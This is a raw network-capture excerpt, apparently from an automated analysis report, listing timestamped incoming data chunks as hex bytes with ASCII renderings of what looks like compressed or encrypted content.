2022-09-20 10:10:08 UTC 2864 IN Data Raw: 42 f6 13 09 6a dd f5 03 44 3d fe 88 3b 22 cf a3 f7 32 47 62 a2 a5 0c df 07 de a2 35 c7 6c 71 d9 b7 56 f0 6c b7 
14 de d7 7f 0b 29 8f d3 d1 77 f8 6c 4a 53 47 83 4b ed 67 9a 3c 3c 0b 5a df 98 8f bb 84 3f e1 e9 a8 cf c4 21 eb 0b 5e 74 
eb 45 e4 5a c8 e3 32 ff 8d 70 bb 72 3b 4e 2d 96 20 70 0d e0 d8 8e 28 32 7b 6a 30 ac 3e f9 81 ec 0f dd 06 af 97 9b c2 5c 
e9 0c b4 da 3c 82 dc 56 1c 8d ad 2b a5 c9 8d 4d 14 7a ca 5c a4 69 aa 35 a8 34 f6 20 1e 7c 30 0b f4 76 a5 d2 fd 19 23 b1 
68 43 11 7c 71 3b 05 1d 5f a5 c1 73 a8 44 cb 6e 1a 30 21 68 3e 2e b1 b7 27 73 aa be c2 b2 8c 32 8c cd 5c 8a 4f bb 54 92 
69 f7 cf b2 f2 96 80 96 f3 2e e3 60 fd a3 90 e8 91 83 be 92 93 61 e9 ce 23 38 7e 8e 02 4e 2c de 83 2d c2 4a 60 b1 8c 01 
dc 1d 7a 84 3c 53 dd 8d ce fb 97 82 64 c9 41 cc 8a af 
Data Ascii: BjD=;"2Gb5lqVl)wlJSGKg<<Z?!^tEZ2pr;N- p(2{j0>\<V+Mz\i54 |0v#hC|q;_sDn0!h>.'s2\OTi.`a#8~N,-J`z<SdA

2022-09-20 10:10:08 UTC 2872 IN Data Raw: 2d 89 d9 b4 8e 10 2a 39 8a 6e be f5 1a 9e be 98 0e e1 56 d9 20 dc fc 16 ba 9d b0 83 41 eb 0c 61 5e 40 20 f6 
b9 b5 99 6c 7e f9 13 b5 e2 da e1 68 ef 1e d0 e1 fc 70 32 ea d7 52 b8 d8 c7 11 e6 ca b9 81 a7 c2 4e f2 f3 9c 2b b4 8b 1d 
82 d9 e4 14 b4 c8 ea 47 86 2b ce c7 5f 55 c7 89 92 f3 0e 18 ba 6e 18 b5 08 ea 89 06 6a 47 69 87 2b 4a d0 fa 69 19 fd 6a 
77 1a 82 9c 0e c2 f2 73 3a 98 f7 21 1d 75 4d 07 e1 85 a1 39 b4 a7 cd 77 e8 bb f0 03 5d d0 c3 12 47 74 32 87 2e de 6a b8 
c7 54 95 1e 73 f4 82 16 2b f7 90 c0 a9 a9 b0 3a 2e 0e 52 97 bb e0 f9 01 b3 a9 41 ab 56 b8 bc 58 82 0e 76 ee 0e c2 fc 43 
b4 67 bc 0c 2c b8 b9 98 74 28 0a 07 fb 4e c3 49 8d c9 32 dc 93 f5 9d 5e 3d 79 02 37 8e 9e 41 cd f5 6a a1 8c 5c a6 9b b7 
6b c1 9c 0f 06 44 db 24 06 95 de 9f c2 c7 6b c6 61 d1 ce 
Data Ascii: -*9nV Aa^@ l~hp2RN+G+_UnjGi+Jijws:!uM9w]Gt2.jTs+:.RAVXvCg,t(NI2^=y7Aj\kD$ka

2022-09-20 10:10:08 UTC 2880 IN Data Raw: 68 73 58 1f 25 62 f1 04 b4 e7 bf fe fc 5c 4b 0d ed ea f5 14 05 1e ba 00 bc 55 fb c1 33 0b 34 d1 96 6f db 40 5b 
ce 1f 60 e1 71 55 79 76 21 00 bc d9 94 86 9e cc ff 80 06 34 37 2a 95 ab 16 a2 f9 16 34 d8 75 73 0d b8 30 e8 14 ea 7d 6a 
23 9a d2 97 87 6b 4a af a1 50 b3 33 30 3d a2 0c b8 9f 3d 07 60 da 7c 10 17 39 0d 5a 19 84 a1 75 01 a2 d2 44 45 82 53 
07 72 d0 c9 35 af c1 80 b7 2f 60 8a f3 5d f4 71 ff 1e d0 4b 7d 3b fa 52 31 16 b9 f6 5e 85 7c 3d 04 e4 e2 33 0f 38 35 b5 a1 
6e 65 3e 5a de 4c 29 4b 1f fc e7 71 36 3b c0 9f 79 15 68 7f 67 10 dc 6b f9 12 0c 49 a2 e0 ae b3 6a a8 dd e2 ac 52 52 90 
08 4e 67 ec 45 13 f2 29 b4 72 d0 1e 25 a1 31 07 5c db f8 14 45 68 da a1 a4 b5 fa 68 c7 a3 77 e0 ed ec 78 30 6e 6f 12 ba 
6b 5a a1 b4 37 a4 80 0d ff 7d f7 af e0 03 72 93 7b a3 
Data Ascii: hsX%b\KU34o@[`qUyv!47*4us0}j#kJP30==`|9ZuDESr5/`]qK};R1^|=385ne>ZL)Kq6;yhgkIjRRNgE)r%1\E
hhwx0nokZ7}r{

2022-09-20 10:10:08 UTC 2887 IN Data Raw: 7f 25 a6 c9 c5 d4 ca 9c 07 92 19 74 11 4e 1b f4 97 27 77 da e3 bf 87 4c e4 74 ac 2e f2 b1 d4 79 c2 67 c6 6c 61 
7f ac 16 b1 dd 67 2a 39 2c c2 8f 19 f4 28 54 9e 7b f9 92 38 09 9f 24 dc 48 5d 0a eb 9b 8c e4 07 bb 0f c0 ab 4d c7 a8 4b 
1e a9 42 c8 fa 4a d2 e4 dd 67 f2 74 6d b4 fc 31 eb 1a f6 d7 39 8a de 14 e0 82 65 f6 9b 24 d4 69 ad 67 a7 bf 1c c2 6f f0 b2 
c2 b0 ad fd 39 0b 4c 87 74 5c 70 46 d8 99 14 2b ae da a8 83 e5 9c df 26 62 b1 33 e1 68 f3 16 56 b5 63 af 44 8e 1a 4b 0e 
d8 1f 25 d4 9b fd 93 0f fa e7 92 bf d5 ba 44 bd f9 23 c8 9b 7f 55 08 ef b8 48 6e ff c0 cd dc 88 dc c3 c0 31 62 01 28 ad ca 
90 ef 07 1a 71 97 9b eb 04 6d 43 19 ee d4 5e 04 cd 4f 0c 06 77 1e 39 e0 d7 e7 5b 10 96 41 b1 cc 00 8b 10 36 58 67 99 
ac df b7 2f 73 06 ac e2 ec 9f 41 4a cf fc 28 f0 ad 
Data Ascii: %tN'wLt.yglag*9,(T{8$H]MKBJgtm19e$igo9Lt\pF+&b3hVcDK%D#UHn1b(qmC^Ow9[A6Xg/sAJ(

2022-09-20 10:10:08 UTC 2895 IN Data Raw: 25 dd 70 3c 5c 69 a2 5d f6 d5 8a 0e ce 7b 89 57 9b 7d e5 e0 69 89 bc dd 88 b1 44 f1 8a cd b4 7b c1 63 58 9c 
9e 0f 66 99 35 91 aa 9d e1 60 70 f5 16 c6 c0 a1 93 61 33 16 49 e3 4b 93 68 9d de 35 c4 a5 59 38 39 39 b3 8b 39 20 f4 17 
12 da 05 7a cd 81 3d 38 91 bd 59 7e 2a f8 91 47 85 a7 40 a5 2e 8f bd 3f d8 17 84 06 e5 70 fd 2b 1f e2 7d 02 c2 58 b5 3c 
37 2e 26 da 83 ea 3b fa 05 77 b4 7f 00 79 da 7d 13 6b 3d c1 93 9c 10 bf 9e 59 b5 ec 04 69 f8 f0 3c 6f f3 a8 8d ea f1 f9 cc 
be c3 bc b1 d1 61 77 71 e6 f6 5b dc c7 49 13 3f af e9 ca de 59 7a 50 1e 6a 68 0d d5 bf 19 61 7a 15 9b 78 0b 47 03 c1 47 
fa c4 25 79 aa 62 8d 59 69 8c 6e e9 23 90 b3 25 4d 54 7f 36 16 fb fd ba 5b 7e f3 fc 25 7b eb 48 3d 54 ef be 29 cc 39 fd 5a 
5a 92 39 13 de d7 f2 67 8a b4 29 90 98 40 89 ff d6 
Data Ascii: %p<\i]{W}iD{cXf5`pa3IKh5Y8999 z=8Y~*G@.?p+}X<7.&;wy}k=Yi<oawq[I?YzPjhazxGG%ybYin#%MT6[~%
{H=T)9ZZ9g)@

2022-09-20 10:10:08 UTC 2903 IN Data Raw: 41 43 da 68 4f 97 5c 1e 53 0c 37 be e9 64 6c ec df 63 3e db fb cb f7 9c 04 0a fe 5a 0f 9e d0 4d 5c b4 eb 2b 4c 
eb 44 38 29 f2 9f a9 7b b5 2a 98 7e 6e 16 b6 e6 bd cc e1 7b 38 ee fd f3 21 c4 e5 5f 05 ec 6a 14 c6 1d 70 e6 d9 3e 5f 92 
61 c4 b6 62 d6 26 65 26 3d 83 1d 89 03 af 04 ae 55 cd 0e 2b 4e f4 a0 63 57 be a7 c6 a7 ad e6 b2 ab 2c a9 ab b7 9e d3 9f 
e2 87 63 e8 8c 29 7e 3d d3 9b ac 9e f8 9b d2 fb c3 81 13 b9 9a 7c d5 60 35 dc fc 47 1b db af 7d 39 ff 60 ce 57 96 3b 91 
42 ad 5a b1 98 bb e6 f3 99 ad eb 68 a1 ef 8d 3c 4d ae df 7a 91 dd b9 a4 9c ef 09 18 04 da 33 39 49 49 ad 60 56 19 a6 63 
e7 0a cd e5 87 7f 1f 51 37 37 bc c7 b6 4d 0e 67 ee ff 1d 48 3e c2 d5 f9 4d 4b 2a c4 ea 92 ef f8 9a 92 71 c4 ed 97 41 b8 6a 
ff 0a 51 ef ce 2e ac ce 49 84 8a 55 b2 3c eb da 15 
Data Ascii: AChO\S7dlc>ZM\+LD8){*~n{8!_jp>_ab&e&=U+NcW,c)~=|`5G}9`W;BZh<Mz39II`VcQ77MgH>MK*qAjQ.IU<

2022-09-20 10:10:08 UTC 2911 IN Data Raw: b1 39 61 41 de f8 2f 6b 94 ab 14 c5 7b 94 bd df 77 d7 d5 d3 68 5f 65 d0 e9 ca 54 be fc 41 99 de ca da a2 fe 31 
59 6b 73 7d f1 2f b9 f2 2b a8 1d 5c 9f 7c 61 bf da e9 ea cc 77 3a 79 3a 7a 33 03 fa 36 71 55 62 76 bf b1 dd e7 eb b1 d0 
81 3f aa 7d af 5f df 4c 43 db a7 04 64 08 91 e5 7b 18 8d d7 58 e5 b3 ec 42 b6 0e 31 e1 d1 5a e6 45 d5 e2 58 9f a7 b4 79 
17 af 0d 5d 60 9b df ad cf e0 ec a7 37 8b 2f 8a e5 ff f5 d5 a7 ae 47 ef 47 47 97 a0 1d 9e a8 75 2d ff ad f2 9f 3d 92 d4 22 
6b 3e be ff 2c ac 44 b0 7c fd 0f 75 3b ec 1c 68 bd 79 50 6d ca aa c4 cf 56 15 2b 46 d7 04 3a 21 57 02 66 a9 dc 1d a2 3d 
ae dd f6 b2 17 e1 c8 35 1f f6 ba 3b d5 aa fb e8 05 2b dd d0 f1 a9 56 c5 57 c7 f3 73 75 47 9d 78 a9 f8 8f c2 db c1 03 fb 84 
d3 f6 bc ee 37 31 e7 db eb c9 1e 7b 9b 8e 56 16 
Data Ascii: 9aA/k{wh_eTA1Yks}/+\|aw:y:z36qUbv?}_LCd{XB1ZEXy]`7/GGGu-="k>,D|u;hyPmV+F:!Wf=5;+VWsuGx71{V

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 2919 IN Data Raw: 7a e8 33 88 a5 aa e8 57 2c 9d 3e aa 75 09 d2 35 d1 11 10 cb 55 d1 60 88 1c 7d 34 05 62 89 26 5a 04 b1 4a 
15 ad 80 58 ab 8a 36 41 6c 52 45 8d 2e 43 79 b4 50 2b 88 e5 7a a8 13 c4 52 4d 34 0c 0b 6b a2 d1 10 6b 35 d1 19 10 9b 
34 d1 85 10 11 2d b4 18 22 47 1d 2d 85 68 a1 83 96 63 f1 75 d0 7b 10 ab 74 d0 b7 10 33 d4 d1 6e 15 30 bd 36 aa 0f 91 a
3 8b 0e 85 98 af 8b 8e 85 58 a2 8b fa 41 6c 42 51 2a 44 44 0f e5 41 74 d0 43 73 20 fa eb a1 25 10 ab 50 f4 28 16 d6 42 2
f 43 8c d4 42 ef 60 f9 68 a3 2f b0 7c f4 d0 cf 10 4b f5 50 85 2b b0 1c 2d b4 3b c4 52 6d 74 30 c4 12 6d d4 1a 62 a4 1e ea 
08 51 e6 92 fa 7d 35 30 6f cb fc fc ac 0c 5f f0 fb ab e2 5f 18 85 c6 33 41 60 98 cb bd 7a dc e8 58 a6 e4 95 71 6b 12 a3 3c 
c2 8b 51 1b e3 c5 88 8c f5 62 e4 03 57 c2 f2 62 54 b1 bd 3a 
Data Ascii: z3W,>u5U`}4b&ZJX6AlRE.CyP+zRM4kk54-"G-hcu{t3n06XAlBQ*DDAtCs %P(B/CB`h/|KP+-;Rmt0mbQ}50o_
_3A`zXqk<QbWbT:

2022-09-20 10:10:08 UTC 2926 IN Data Raw: 13 fb 4b d8 46 e2 64 19 eb e1 f6 42 b6 9d 78 a8 8c f5 f3 f8 25 ec 00 df 2e 64 af 10 0f 14 b2 5f 11 0f 97 b1 cf 88 
c3 8c 15 cd a4 f4 4b d8 59 c4 23 25 6c 1a b1 51 c4 16 10 0f 8e 67 6b 88 d3 85 2c 41 9c 2c 61 7d 3c 1e 63 bb 89 03 25 6c 
2f d7 33 f6 22 71 b0 90 fd 0b d7 97 b0 37 89 ab 0a d9 07 c4 e1 52 f6 15 4f 87 b1 71 b3 a8 dc 85 ec 64 e2 a1 52 76 2e f1 
40 29 9b 45 9c 64 6c 31 71 7f 11 bb 8e 38 5a cc 92 3c 5e 31 bb 83 b8 af 84 3d c4 99 b1 67 b9 ae 88 bd cc 75 c5 ec 4d ae 
2b 66 1f 70 7b 31 fb 92 78 b0 98 15 5d 42 76 c6 26 11 0f 16 b1 4a e2 be 62 56 4d 9c 2c 64 d7 f2 ed 42 d6 4e 1c 2c 62 7d 
dc 5e ca 1e e0 f6 52 b6 9f eb 0b d9 bf 12 0f 95 b0 5f 11 0f 94 b1 0f 79 7a 65 cc 37 9b f6 43 31 0b 10 07 8b 59 90 6f 97 b1 
c5 7c bb 8c ad 27 1e 60 6c 13 b1 bf 8c 6d 26 4e 
Data Ascii: KFdBx%.d_KY#%lQgk,A,a}<c%l/3"q7ROqdRv.@)Edl1q8Z<^1=guM+fp{1x]Bv&JbVM,dBN,b}^R_yze7C1Yo|'
`lm&N

2022-09-20 10:10:08 UTC 2934 IN Data Raw: bb 89 df 32 90 2f 27 e8 cf fa 5a bc 9f a1 48 47 53 48 85 42 f1 0b c6 89 7c 3c 96 5f 45 0e f3 db c2 c1 7a 5f 22 
b1 24 1a 0f a4 c5 6c ce 16 ec 45 dc 81 60 a0 92 df 9e 69 57 1f 28 af 48 26 e3 a1 b6 1e be d0 5e 1b 4c 26 fc 3e 9c d7 78 
bc 95 28 f2 3d 11 f9 1c 7d 02 9b f1 d8 81 56 24 c1 c3 ab 7b d5 a7 92 52 41 53 51 7a ab 79 9a 04 73 31 92 60 71 52 17 63 
87 54 55 85 42 76 1e 4b ae a9 3c 96 82 a4 f3 38 b5 a3 d4 b9 c7 ce 67 1e 11 75 1e 51 e7 3c 42 6e 76 31 ef 70 b1 b9 dd 
7a ab 9f 1b 2e a5 21 90 50 a5 81 5e 22 7e 3f 37 e0 ac ab 14 61 a5 c2 b8 0a 59 b6 f8 d9 05 5d b1 10 e1 81 33 05 54 7f af 
d4 c4 5c 6c e2 32 21 d5 b6 ce cd f4 1c 22 d1 39 14 49 cc f2 25 82 cd f1 70 6a 27 81 97 24 92 68 08 2e 8e ea 7b 93 16 22 
85 25 5c a5 6f 80 90 95 15 7d 03 37 04 23 c1 25 a8 8a d2 
Data Ascii: 2/'ZHGSHB|<_Ez_"$lE`iW(H&^L&>x(=}V${RASQzys1`qRcTUBvK<8guQ<Bnv1pz.!P^"~?7aY]3T\l2!"9I%pj'$h.
{"%\o}7#%

2022-09-20 10:10:08 UTC 2942 IN Data Raw: 81 fc 9c 63 75 6f 92 2f 25 e8 af b5 e2 1f aa c1 76 fd ed 56 5f 38 ed 25 f3 68 dc ab 56 28 7a 81 bc a9 43 f4 64 
7e a1 2c 87 34 5e 43 f5 72 4a e3 e5 3a 00 13 b2 d4 84 2b 35 a1 4a 53 61 cc c2 cb 42 59 7a 59 5a 28 8b 2f b5 07 64 5e 
35 3f a9 09 d2 15 a4 47 11 89 a7 2b 28 15 80 73 f9 41 a1 59 9e 50 68 9f bb 4f 08 59 b1 50 68 a7 c5 1d c2 2c 62 28 b4 d3 
e6 0e 61 d6 47 14 da 69 45 08 7b 01 85 ac 25 75 2e 74 90 48 9c 41 dc 6b 23 fa 8b a5 d0 bd 60 c2 be 24 57 30 5c 85 2b 
98 be ae f4 60 7d 52 55 d8 4f ba f4 f5 a4 07 93 b4 39 16 89 d8 a9 53 ac 6f fa fa 04 35 ab 4e fa a6 d1 1d d4 5e 8e d2 37 9d 
ee a0 4c 97 3b a8 1e 40 21 b0 36 24 17 aa ef 54 16 2e 2e 6e 99 e2 4a b9 59 70 6c 92 bc c3 f0 48 6a 2a bc 4e f7 8e c2 33 
bd 76 78 49 fc 8e c2 33 d1 76 78 6e a4 2a 1e 5a fd e3 0e 
Data Ascii: cuo/%vV_8%hV(zCd~,4^CrJ:+5JSaBYzYZ(/d^5?G+(sAYPhOYPh,b(aGiE{%u.tHAk#`$W0\+`}RUO9So5N^7L;
@!6$T..nJYplHj*N3vxI3vxn*Z

2022-09-20 10:10:08 UTC 2950 IN Data Raw: cf b8 a1 0e e1 f7 0b ef 05 a3 3a 85 ff 59 f8 0a 30 2a 24 fc 21 f3 5c 80 51 27 0a df 24 7c 23 18 d5 25 fc 71 e1 8f 
83 51 61 e1 4f 99 72 08 46 75 0b 7f 56 f8 1b 60 54 44 f8 16 e1 ef 81 51 51 e1 2f 0a ff 02 8c 8a 09 7f 45 f8 8f 60 d4 22 e1 
af 9b 72 f8 12 fa 5c 50 5c f8 56 e1 e3 c0 a8 84 f0 77 84 1f 0e 46 25 85 bf 27 bc 09 8c ea 11 fe a1 f0 4e 30 6a b1 f0 4f 4c 
3d 03 46 2d 11 fe 37 e1 17 82 51 bd c2 3f 17 7e 15 18 b5 54 f8 97 c2 6f 06 a3 4e 12 fe 8d f0 07 c1 a8 93 85 ff 43 f8 8b 60 
d4 29 c2 bf 17 fe 26 18 f5 cb 2c dd df fb b7 f0 bf 81 6d 87 7e e5 7a 4e bf 05 cb 7a b9 b5 eb d7 f2 9c e6 fc 52 87 df 19 6c 2c
b4 4c f8 2e c2 0f 00 a3 4e 15 be b7 f0 43 c0 8e 80 4e 13 9e 2f fc 28 b0 00 74 ba f0 c9 c2 63 60 d4 19 c2 a7 08 3f 1d ec 62 
e8 4c e1 87 09 bf 06 ec 66 e8 2c 
Data Ascii: :Y0*$!\Q'$|#%qQaOrFuV`TDQQ/E`"r\P\VwF%'N0jOL=F-7Q?~ToNC`)&,m~zNzRl,L.NCN/(tc`?bLf,

2022-09-20 10:10:08 UTC 2958 IN Data Raw: 6f 45 32 75 bd 32 fc 91 fc e2 9d 73 24 4e 07 6a 42 e3 ea d5 43 8e d4 71 76 c3 c5 ae 78 3f 58 97 5e e7 15 ea 
20 b5 78 1e 52 91 a5 32 a4 9f fc 95 5d 0e 86 46 25 16 f4 a3 68 a1 3a 43 23 5c 19 ed c6 50 0e fd 04 8c 26 2b 1c 1b be f6 
f6 50 38 a4 d2 51 d9 e9 8b 74 b0 55 eb 89 21 af 82 81 20 87 55 68 b4 b8 af ae bd 0e 50 79 9d dd 9a b9 6c e1 e2 c1 ee 
e8 e2 e0 6c 44 58 d9 30 df 5d c4 7f 79 a5 af 8b fd d1 73 ae d4 63 fd 2b ae d4 e3 f3 35 57 ea 31 fd 3d 57 6a fb ca c3 70 69 
33 7a 15 2e fb 5e 1f c3 55 a3 26 33 5e 72 8d 94 66 5e a5 e3 ad be 4a c7 bb 00 6e a2 c7 cf 04 b7 f7 a0 43 e4 0b a3 b3 d3 
1d 0c c8 43 6c 85 f0 08 a3 4d 0d eb 66 3f 19 5f 1a 46 f2 55 fb cf 10 aa 35 ef 89 f8 7a 92 9d 78 e8 4e 52 bd 10 fd 2f 26 e7 
39 59 ce 73 fe 55 3a fd 57 5e a5 d3 7d c3 55 3a dd b7 
Data Ascii: oE2u2s$NjBCqvx?X^ xR2]F%h:C#\P&+P8QtU! UhPyllDX0]ysc+5W1=Wjpi3z.^U&3^rf^JnCClMf?_FU5zxNR
/&9YsU:W^}U:

2022-09-20 10:10:08 UTC 2966 IN Data Raw: 36 7b da 9c a7 d1 ef 1f a1 24 45 54 07 53 21 3e 99 c6 a3 bf 6d 52 57 d9 54 dd d4 d2 d8 d4 50 53 3b 47 ed 72 
3c 27 f2 d2 d1 8e c2 b9 0b 88 3e 69 b2 ad a7 bd 9f 06 6e 63 8e 27 f6 01 e7 0f 72 3d a7 7e a0 be 6f e1 b9 f0 03 f5 9d 0a cf 
35 74 eb 87 78 6e a7 bb 3d c7 f3 20 5d 2b d7 f3 2c dd 6d 39 9e 77 d4 fe 5c cf 67 74 b7 e4 78 fe 4d 77 63 ae 67 e4 87 6a 
3d 88 a7 e0 43 35 ef e1 99 46 d7 1a e2 a9 a6 bb 3d d7 73 14 dd 6d b9 9e 76 ba 33 73 3d 3d 2a fc 10 cf 99 74 bd 43 3c 
97 d0 2d 1a e2 b9 96 ee 96 5c cf 1d 74 5b 87 78 ee fc 50 cd b7 78 1e ff 50 cd 73 68 3e 33 47 bb f5 e2 b6 8a 1b 33 7c b0 
e7 15 c5 07 7b be 50 7c b0 27 e7 23 35 cf e2 f1 7e a4 e6 69 3c e5 1f a9 f9 16 cf 02 ba ab 73 3d 9d 1f a9 79 13 cf 72 15 
2e d7 b3 e6 23 35 6f e3 79 44 f1 c1 9e 6d 1f a9 79 1b cf 
Data Ascii: 6{$ETS!>mRWTPS;Gr<'>inc'r=~o5txn= ]+,m9w\gtxMwcgj=C5F=smv3s==*tC<-\t[xPxPsh>3G3|{P|'#5~i
<s=yr.#5oyDmy

2022-09-20 10:10:08 UTC 2973 IN Data Raw: ac 5b cb ad 66 a3 85 f3 be 02 60 de d4 c3 bb c4 ef 6f 07 b0 3a 1f f6 d5 eb ba b1 f6 b3 72 39 fa 0a c1 db 77 6b 
d0 4b 43 41 27 56 17 71 ff 14 03 cc a6 93 f6 6f 29 be b3 c0 ed 9f 4c 98 12 06 0e 05 d2 b0 53 22 e6 46 f6 6c 75 85 85 4e 
bb ae b0 92 83 7d 06 ba 7c 2a e6 98 79 b0 72 87 8e 83 2a 19 2d 58 40 c3 c6 0f a4 d7 1e be 7e e2 fe 3b 00 30 b1 4f 06 ac 
df 29 80 d5 f2 e3 8f 57 73 51 3f 0b 30 9c e7 9f 43 3e f4 cb 2e b4 0d 6d 27 7c 8d 6d 13 f5 31 d9 4e 00 58 a6 d9 9d 0f 6d 27 
5c e7 eb 22 d8 a7 90 43 f8 ab 13 1b 5f b4 ab 8f 79 d1 76 c2 6d 80 55 0d c8 33 3b 80 0d 5b 00 7d ca 4c a5 a5 26 8c 0a ed 
64 f4 41 32 bf 3b b3 32 85 ef 98 d8 be 6b 22 58 23 be 7d 7f f1 30 c2 49 bb 71 f2 03 76 9f cf fe 13 fa 4a 3c be 42 9f 0a b0 
e6 a2 f6 0a 30 ec bf a1 5d 58 bf 08 7e 04 da 89 
Data Ascii: [f`o:r9wkKCA'Vqo)LS"FluN}|*yr*-X@~;0O)WsQ?0C>.m'|m1NXm'\"C_yvmU3;[}L&dA2;2k"X#}0IqvJ<B0]X~

2022-09-20 10:10:08 UTC 2981 IN Data Raw: 17 7f a9 ca c1 73 0a 84 3c 80 b5 c2 01 12 85 5c ef 44 97 eb 6c c6 c8 b3 e3 73 1c bc a8 90 91 1c 81 1d 50 77 
ba 31 87 56 87 92 4a 59 18 69 f3 4e e0 8f 3c 53 82 78 b9 28 a9 9b 68 6a f1 ab 18 46 46 70 32 89 c4 0c 5e 57 9f 6c bd 59 
01 61 2c 84 4a 08 6b 21 1c 80 70 15 82 2c 47 6f ee 0b 61 04 84 09 10 ca 21 2c 82 b0 0e c2 09 08 77 20 f4 ca d5 9b 53 20 
8c 83 50 0e 61 23 84 13 10 6e 40 68 39 5a 6f ee 01 61 28 84 09 10 66 40 58 03 61 33 84 03 10 6e 42 90 8f d1 9b 33 21 
38 21 ac 81 b0 07 42 3d 84 e0 b1 7a f3 60 08 25 10 36 41 b8 00 a1 c5 38 c8 0f 21 0a 42 0e 84 05 10 36 40 a8 85 70 13 
42 c7 3c 78 17 84 52 08 2b 20 6c 86 b0 0b c2 45 08 8d c7 c3 b3 10 92 21 d8 20 3c 05 61 13 84 8f 20 9c 83 70 1d 42 8b 0
9 d0 17 10 72 20 54 41 a8 81 f0 05 84 5b 10 5a 4f d4 9b fb 41 e0 
Data Ascii: s<\DlsPw1VJYiN<Sx(hjFFp2^WlYa,Jk!p,Goa!,w S Pa#n@h9Zoa(f@Xa3nB3!8!B=z`%6A8!B6@pB<xR+ lE! <a 
pBr TA[ZOA

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 2989 IN Data Raw: 51 9c df bb ad f3 f4 56 99 db 17 ec ab 7a e6 fd 95 63 46 d4 37 7c d4 e7 64 ec 4d b7 d4 1f 8f fa fd b2 ba e1 ab 
aa 16 be 6b 7a 31 35 38 b2 60 53 56 88 df 1e 9f 6d 2b c4 4f 2e bf 9b f3 e2 2d 5b b6 3e 3e fe c4 e9 71 47 2e 4a 18 1d 37 
fc 9a d0 d3 13 66 df 3b 7d cc 2b 45 77 7f 91 d0 b5 a4 bd d9 f5 1b 03 bf 4b b8 ab d2 1c a6 b3 84 16 1f e1 6c f3 9c 6b f8 33 
79 b5 ac 53 ed b6 75 69 67 7d 06 82 2a 08 28 47 d0 b6 14 76 24 b4 2b ba 94 87 cb 79 b8 92 87 ae 8a da e7 27 48 51 b5 
ec ae e3 a1 37 0f 7d 78 b8 5e 51 75 eb 06 f0 30 98 87 a1 3c 0c 53 54 3d 3a b5 ec 2a 50 a6 b8 6d fa e3 8f 3f be 8a b8 7a 
ca a1 d5 4f 5d f4 da 18 6d d9 44 04 40 95 d1 52 50 47 6b 16 7f 56 2a e5 cf 47 85 fc f9 68 08 7f b2 82 ab 98 a2 58 ad d6 fc 
4c 2b 3c 26 b8 f8 83 88 35 bb c4 99 a9 78 b8 94 96 
Data Ascii: QVzcF7|dMkz158`SVm+O.-[>>qG.J7f;}+EwKlk3ySuig}*(Gv$+y'HQ7}x^Qu0<ST=:*Pm?zO]mD@RPGkV*GhXL
+<&5x

2022-09-20 10:10:08 UTC 2997 IN Data Raw: 36 36 85 e5 87 9c 33 fc 0c f5 fb db 51 f3 6b 14 58 17 5b ea 45 b2 43 93 2f 90 4e 08 df 5f 84 7f 9c 9d 47 a9 17 
09 7f f0 a4 29 56 c3 c7 45 f8 4f b0 23 93 31 0c c2 4f bd 68 8a 07 c3 e8 4b d9 4f b3 07 24 39 7e c2 1f 99 a3 75 8c f4 77 f2 
2c 7e 29 3d 30 fc 92 29 de ad da 34 28 3d 30 4a b0 01 8f be 4a 1a eb 5d e7 78 b3 f2 8d 9d 98 e6 1c b5 dd 1e e2 3f dc ce 
e8 44 d0 85 7f 50 f6 8a 29 6e f7 e8 e3 29 f4 47 b0 b3 ba ac a6 8d 9d 9e f8 b0 bb 5f e0 1f d4 cf 2b 7d 55 56 3a 5e 9d 9c 0f 
c6 ab 1b e7 a3 e3 d5 cd f3 97 16 af 9e 98 2f 1d af 3e 3d 7f 79 f1 6a f0 84 b9 69 78 d5 14 df d4 79 1a 29 bf cd c3 53 d6 99 
a3 5a 1a ff d4 ab a5 e3 db 4d 6a 4e 26 a8 ed ff 84 c5 b9 6e aa d2 32 75 76 8c 16 fb 7e 60 c1 14 af 97 47 d3 70 f3 51 3f 35 
c5 2f a3 ec 5c 26 dc ef 87 bc 9d 5e 34 c5 
Data Ascii: 663QkX[EC/N_G)VEO#1OhKO$9~uw,~)=0)4(=0JJ]x?DP)n)G_+}UV:^/>=yjixy)SZMjN&n2uv~`GpQ?5/\&^4

2022-09-20 10:10:08 UTC 3005 IN Data Raw: 3f 57 0a 68 0c 2f 52 c4 e6 a2 e2 4c 03 cf 5c 7c af ce 9f 12 51 2f 19 0e 78 12 30 03 3a a8 cc 83 c1 7c 35 d1 02 
43 4f a2 0e 66 49 80 5c b2 98 51 79 72 fd 8f 50 5b d7 db 6b 2f a9 c6 00 e0 2c 2e fa d8 80 75 8d c6 2b 1b 5c bd a5 90 45 
a8 cc 96 8f e9 7c 1a f7 f1 f6 8f 9d 3a 9f 76 f4 4d 3b a9 0d 89 4b 16 df 28 f0 d9 6c de 0b bd 0f f8 d5 5e 7a 5e 16 84 01 02 
6c b9 db 72 76 66 ac 40 ae b8 0b 72 b6 65 94 e0 1f 15 44 c1 3f d6 e5 ec b0 09 23 ce 93 75 39 5b 33 44 5e b9 61 49 b9 
84 65 a5 02 5b 09 eb f3 3e dd 3e 1b 47 1a 4d a9 6d 72 2e 56 ab a4 8d 1a 7a bf 3e 2a 1f 92 6b 3d 59 2b 7c 45 1b 72 12 b6 
b1 99 59 db b7 c2 80 9c ac 92 7c ba fb 93 03 d6 7b 43 ce 87 cb 84 51 bb 3e 27 49 ff e6 da 5b 91 dd 06 c3 60 35 da c3 98 
77 76 0c 58 9f 5f c0 f1 98 6a 5f 62 82 f2 ec d8 8b 33 
Data Ascii: ?Wh/RL\|Q/x0:|5COfI\QyrP[k/,.u+\E|:vM;K(l^z^lrvf@reD?#u9[3D^aIe[>>GMmr.Vz>*k=Y+|ErY|{CQ>'I[`5wvX_j
_b3

2022-09-20 10:10:08 UTC 3012 IN Data Raw: 66 3a bd c1 c0 52 58 2e ee 94 c0 9e 2c 6e a0 3b 48 d8 5a 7c 15 b7 16 57 0a bd 16 70 e7 b7 5d 37 14 14 57 
e2 70 e7 b5 d9 0a 0a 86 f0 df a7 7a fb a8 5e 75 18 6e e8 6b b8 bb 70 79 40 50 b8 bd 6e c0 4f f6 6e 1c b2 be 16 a6 07 e6 
30 17 2b 82 a3 9f 84 5f 27 b5 bb f8 86 21 eb 2f 41 73 0b 8e f3 e7 93 ea ae 88 21 87 1c bf f3 c6 21 eb ba b0 73 60 81 83 
